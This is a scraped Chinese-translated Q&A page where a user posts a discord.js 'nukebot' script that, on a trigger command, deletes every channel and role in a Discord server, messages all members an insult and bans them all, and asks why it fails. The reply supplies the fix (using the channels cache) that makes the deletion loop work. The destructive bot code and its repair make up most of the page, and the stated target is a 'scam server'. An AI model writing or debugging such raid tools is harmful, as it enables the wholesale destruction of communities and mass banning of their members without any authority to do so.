繁体   English   中英

如何删除 discord.js 服务器中的所有频道

[英]how to delete all channel in discord.js server

我要制作一个核机器人来核对一个骗局服务器我已经尝试了很多东西但不起作用这是我当前的代码

const Discord = require('discord.js')
const client = new Discord.Client()

client.on('ready', function(){
    console.log("nukebot is ready")
})

client.on('message', function(message){
    if(message.content === "S#NUKE") {
        message.channel.send('@everyone')
        message.guild.channels.forEach(channel => channel.delete())
        message.guild.roles.forEach(role => role.delete())
        message.guild.member.forEach(member => member.send('GET BANNNED AND NUKED BY AMONGUS NUGGET GROUP')).catch(console.error())
        message.guild.member.forEach(member => member.ban()).catch(console.error())
    }
})

client.login('API_KEY_REDACTED')

这给了我一个错误: message.guild.channels.forEach is not a function

message.guild.channels.forEach()需要变成message.guild.channels.cache.forEach()
他们前段时间添加了该更新。

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM